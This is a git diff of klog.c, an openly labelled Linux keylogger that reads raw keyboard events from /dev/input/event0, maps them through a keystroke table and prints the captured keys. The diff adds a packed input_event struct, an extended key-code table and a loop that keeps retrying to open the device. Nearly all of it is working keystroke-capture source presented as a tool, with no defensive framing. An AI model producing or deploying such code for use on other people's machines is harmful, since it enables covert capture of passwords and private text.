Klog timestampy
[mirrors/Programs.git] / c / keylogger / klog.c
index 150dff127e47484eda448c043b9918bf55e88ee0..f86cc5f6fab1d04252426ca4f11e88e89f3e45fc 100755 (executable)
@@ -1,8 +1,8 @@
-/* event0log.c v0.6
- * <~~Harvie 2oo8
+/* event0log.c v0.9
+ * <~~Harvie 2oo8-2o21
  * THX2:       Dayvee (Idea), joe@aol.com (Reversing),
  *                             -=Punka][Tux=- (BugReport),
- *                             Warriant's code (Inspiration), Linus (God Blessed Linux)
+ *                             Warriant's code (Inspiration), Linus (Linux)
  *
  * Converts /dev/input/event0 format to ASCII. (If you have nore keyboards,)
  * In other words: this is keylogger for Linux.
 
 #include <stdio.h>
 #include <stdlib.h>
+#include <stdint.h>
+#include <unistd.h>
 #include <signal.h>
+#include <time.h>
 #define DEFAULTINPUT "/dev/input/event0"
 
-#define MAXSTROKE 127 //Set higest keystroke code in DB (lower will not be converted)
+typedef struct __attribute__((__packed__)) input_event_s {
+       struct timeval time;
+       unsigned short type;
+       unsigned short code;
+       unsigned int value;
+} input_event_t;
+
+time_t timestamp = 0;
+
+#define MAXSTROKE 169 //Set higest keystroke code in DB (lower will not be converted)
 char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard:
-       "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]",
-       "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n",
-       "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\",
-       "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ",
-       "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]",
-       "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2",   "3", "0",
-       "[./DEL-NUM]", "<84>", "<85>", "[MACRO-\\|]", "[F11]", "[F12]",
-       "<89>", "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "[ENTER-NUM]\n",
-       "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]",    "<101>",
+       "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]", //14
+       "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n", //28
+       "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\", //44
+       "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ", //57
+       "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", //69
+       "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2", "3", "0", //83
+       "[./DEL-NUM]", "<85>", "<86>", "[MACRO-\\|]", "[F11]", "[F12]",
+       "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "<96>", "[ENTER-NUM]\n",
+       "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]",    "<102>",
        "[HOME]", "[UP]", "[PG-UP]", "[LEFT]", "[RIGHT]", "[END]", "[DOWN]", "[PG-DN]", "[INS]", "[DEL]",
-       "<112>", "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]",
-       "<120>","<121>", "<122>", "<123>", "<124>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]"
+       "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]",
+       "<120>", "<121>", "<122>", "<123>", "<124>", "<125>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]", "<128>", "<129>",
+       "<130>", "<131>", "<132>", "<133>", "<134>", "<135>", "<136>", "<137>", "<138>", "<139>",
+       "<140>", "<141>", "<142>", "[Fn]",  "<144>", "<145>", "<146>", "<147>", "<148>", "<149>",
+       "<150>", "<151>", "<152>", "<153>", "<154>", "<155>", "<156>", "<157>", "[BACK]", "[FORW]",
+       "<160>", "<161>", "<162>", "[NEXTSONG]", "[PLAYPAUSE]", "[PREVSONG]", "[STOPCD]", "<167>", "<168>", "<169>"
        /* Hint:
                [CAPSL][ESC]    = CapsLock On
                [CAPSL]         = CapsLock Off
@@ -73,37 +89,44 @@ int main(int argc, char *argv[]) {
        signal(SIGSEGV, &sigint_handler);
 
 
-       FILE *ftest;
-       printf("Reading data from: ");
+       printf("Scancode DB size: %d B (0-%d)", sizeof(strokes), MAXSTROKE);
+
+       char * filepath = NULL;
        if(argc > 1 && argv[1][0] != '-') {
-               ftest = freopen(argv[1], "rb", stdin);
-               printf("%s\n", argv[1]);
+               filepath = &argv[1][0];
        }
        if(argc > 1 && argv[1][0] == '-') {
-               ftest = freopen(DEFAULTINPUT, "rb", stdin);
-               printf("%s\n", DEFAULTINPUT);
-       }
-       if(argc == 1) {
-               printf("STDIN\n", argv[1]);
+               filepath = DEFAULTINPUT;
        }
 
-       if(ftest == NULL) {
-               printf("Failed to open file!\n\n");
-               return(1);
-       }
-       
-       printf("Keystroke DB size: %d B (0-%d)\n\n", sizeof(strokes), MAXSTROKE);       
 
-       unsigned char keystroke[17];
        while(1) {
-               read(0, keystroke, 16);
-               if((int)keystroke[12] > 0 && (int)keystroke[12] < 6) {
-                       if(keystroke[10] <= MAXSTROKE) {
-                               printf("%s", strokes[keystroke[10]]);
-                       } else {
-                               printf("<%d>", keystroke[10]);
-                       }
+
+       while(1) {
+               if(filepath != NULL && freopen(filepath, "rb", stdin) == NULL) {
+                       printf("\n%lu\tFailed to open file %s", time(NULL), filepath);
+                       sleep(1);
+                       continue;
+                       //return(1);
+               } else {
+                       if(filepath != NULL) printf("\n%lu\tOpened file %s\n", time(NULL), filepath);
+                       break;
                }
        }
+       setbuf(stdout, NULL);
+
+
+       input_event_t input_event;
+       while(read(0, &input_event, sizeof(input_event_t)) != -1) {
+               if(input_event.type != 1 || input_event.value != 1) continue;
+               //printf("\n%lu\tTYPE:%d\tCODE:%d\tVAL:%d\t", input_event.time.tv_sec, input_event.type, input_event.code, input_event.value);
+               if(input_event.code <= MAXSTROKE) {
+                       printf("%s", strokes[input_event.code]);
+               } else {
+                       printf("<%d>", input_event.code);
+               }
+       }
+
+       }
 
 }
This page took 0.127998 seconds and 4 git commands to generate.